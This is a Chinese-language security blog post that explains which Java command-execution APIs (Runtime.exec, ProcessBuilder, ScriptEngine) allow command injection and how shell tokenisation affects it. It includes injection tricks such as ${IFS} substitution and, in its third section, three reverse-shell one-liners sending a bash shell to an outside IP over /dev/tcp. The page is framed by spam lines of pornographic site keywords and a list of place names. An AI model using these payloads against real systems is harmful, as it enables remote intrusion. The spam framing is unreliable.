最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

java中關(guān)于命令執(zhí)行匯總

 更新時(shí)間:2023年11月13日 09:13:36   作者:Thunderclap_  
這篇文章主要介紹了java中關(guān)于命令執(zhí)行匯總,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教

一、Java中可執(zhí)行命令的API

java.lang.Runtime#exec(java.lang.String)
java.lang.Runtime#exec(java.lang.String, java.lang.String[])
java.lang.Runtime#exec(java.lang.String, java.lang.String[], java.io.File)
java.lang.Runtime#exec(java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[], java.io.File)
 
java.lang.ProcessBuilder#ProcessBuilder(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#ProcessBuilder(java.lang.String...)
java.lang.ProcessBuilder#command(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#command(java.lang.String...)
java.lang.ProcessBuilder#command()

命令執(zhí)行漏洞只關(guān)注 第一個(gè)String參數(shù) 或者 String[]或列表的第一個(gè)元素

  • 如果該參數(shù)完全可控,或者是/bin/bash(Linux)或cmd(Windows)等運(yùn)行shell解析器的命令、后面的部分可控,則可以注入。
  • 如果的哥參數(shù)是bat或者sh腳本文件,后面的參數(shù)可控,則需要根據(jù)腳本如何使用可控參數(shù)來判斷是否可以注入。

其他API:

ScriptEngine接口:

可使用ScriptEngine.eval解析多種腳本,比如JavaScript,而JavaScript中可以執(zhí)行java命令。

二、說明

java的Runtime.getRuntime.exec和ProcessBuilder.start,都是直接啟動(dòng)傳入?yún)?shù)對(duì)應(yīng)的進(jìn)程。

以curl為例,php的system會(huì)啟動(dòng)系統(tǒng)shell,然后通過shell來啟動(dòng)curl進(jìn)程,這個(gè)過程中,如果傳入的命令帶有shell能解析的語法,就會(huì)首先解析。

所以,如果只是命令執(zhí)行的部分參數(shù)可控,想在java中通過;、|、&等實(shí)現(xiàn)命令注入,是行不通的。

當(dāng)然不排除程序本身存在漏洞,只需傳入?yún)?shù)即可造成漏洞。

1、ProcessBuilder

第一種情況:某個(gè)參數(shù)可控

new ProcessBuilder(new String[]{"ls", "-lh", dir};);

//不可執(zhí)行。這種情況下因?yàn)椴皇侵荒軋?zhí)行l(wèi)s命令,后面的均為ls的參數(shù)。

第二種情況:完全可控

只能執(zhí)行一些沒有參數(shù)的命令,因?yàn)镻rocessBuilder不支持以字符串形式傳入命令,只能拆分成List或者數(shù)組的形式傳入,才能執(zhí)行。

// String cmd = "xx";

ProcessBuilder builder = new ProcessBuilder(cmd);

Process process = builder.start();

//部分任意執(zhí)行。這種情況可執(zhí)行沒有參數(shù)的命令,原因?yàn)檫@里 cmd 的值表示的是執(zhí)行命令的文件路徑,因此無法使用參數(shù)

第三種情況:shell環(huán)境下的某個(gè)參數(shù)可控

new ProcessBuilder(new String[]{"sh", "-c", "echo test", dir};);

//不可任意執(zhí)行。這種情況下,dir 傳入 pwd 或 ;pwd 都無法執(zhí)行,因?yàn)橹挥?echo test 會(huì)作為 -c 選項(xiàng)的參數(shù)值

new ProcessBuilder(new String[]{"sh", "-c", "ls -lh " + dir};);

//可執(zhí)行不帶參數(shù)的命令。dir 參數(shù)用戶可控,如果傳入如 && pwd,則可以成功執(zhí)行 pwd 命令

2、Runtime

Runtime的exec(String command)其內(nèi)部調(diào)用了exec(String command, String[] envp, File dir),傳入的字符串命令會(huì)先經(jīng)過 StringTokenizer 進(jìn)行處理,即使用分隔符,包括空格,\t\n\r\f 對(duì)字符串進(jìn)行分隔后,再調(diào)用 exec(String[] cmdarray, String[] envp, File dir),最后是通過ProcessBuilder 來執(zhí)行的。

第一種情況:

如果參數(shù)完全可控,則可以執(zhí)行任意命令

Process process = runtime.exec("sh -c whoami");

第二種情況:

若沒有手動(dòng)創(chuàng)建 shell 執(zhí)行命令,沒有存在參數(shù)注入,則無法實(shí)現(xiàn)命令注入

Process process = runtime.exec("ping -c 1 " + ip);

//這種傳入 127.0.0.1 | id,是無法正常執(zhí)行的

第三種情況:

手動(dòng)創(chuàng)建 shell 執(zhí)行命令,可執(zhí)行-c 的參數(shù)值的命令,但值內(nèi)不能有空格、\t\n\r\f 分隔符,否則會(huì)被分割

// 相當(dāng)于執(zhí)行 sh -c curl,example.com 參數(shù)會(huì)被忽略

String cmd = "sh -c curl example.com";

// \t 也是分割符之一

String cmd = "sh -c curl\texample.com";

// 使用 ${IFS} (對(duì)應(yīng)內(nèi)部字段分隔符) 來代替空格,成功執(zhí)行

String cmd = "sh -c curl${IFS}example.com";

三、在exec中反彈shell命令

方法一:

"Runtime.getRuntime().exec(\"/bin/bash -c bash${IFS}-i>&/dev/tcp/7.249.219.5/80<&1\")"

方法二:

"Runtime.getRuntime().exec(\"/bin/bash -c bash<>-i>&/dev/tcp/7.249.219.5/80<&1\")"

方法三:

str = 命令寫這里。

cmd = "sh -c $@ | sh . echo" + str

"Runtime.getRuntime().exec(cmd)"

總結(jié)

以上為個(gè)人經(jīng)驗(yàn),希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。

相關(guān)文章

最新評(píng)論

西平县| 平定县| 沧州市| 曲水县| 仪征市| 天峨县| 施甸县| 安达市| 怀集县| 宜君县| 连城县| 开鲁县| 辽中县| 永安市| 塘沽区| 奉化市| 青神县| 墨脱县| 平安县| 南投市| 宁阳县| 平南县| 广东省| 利辛县| 景泰县| 紫阳县| 诏安县| 毕节市| 湖北省| 朝阳市| 蓬莱市| 和硕县| 平度市| 南岸区| 青铜峡市| 无棣县| 察哈| 沂水县| 准格尔旗| 龙井市| 连州市|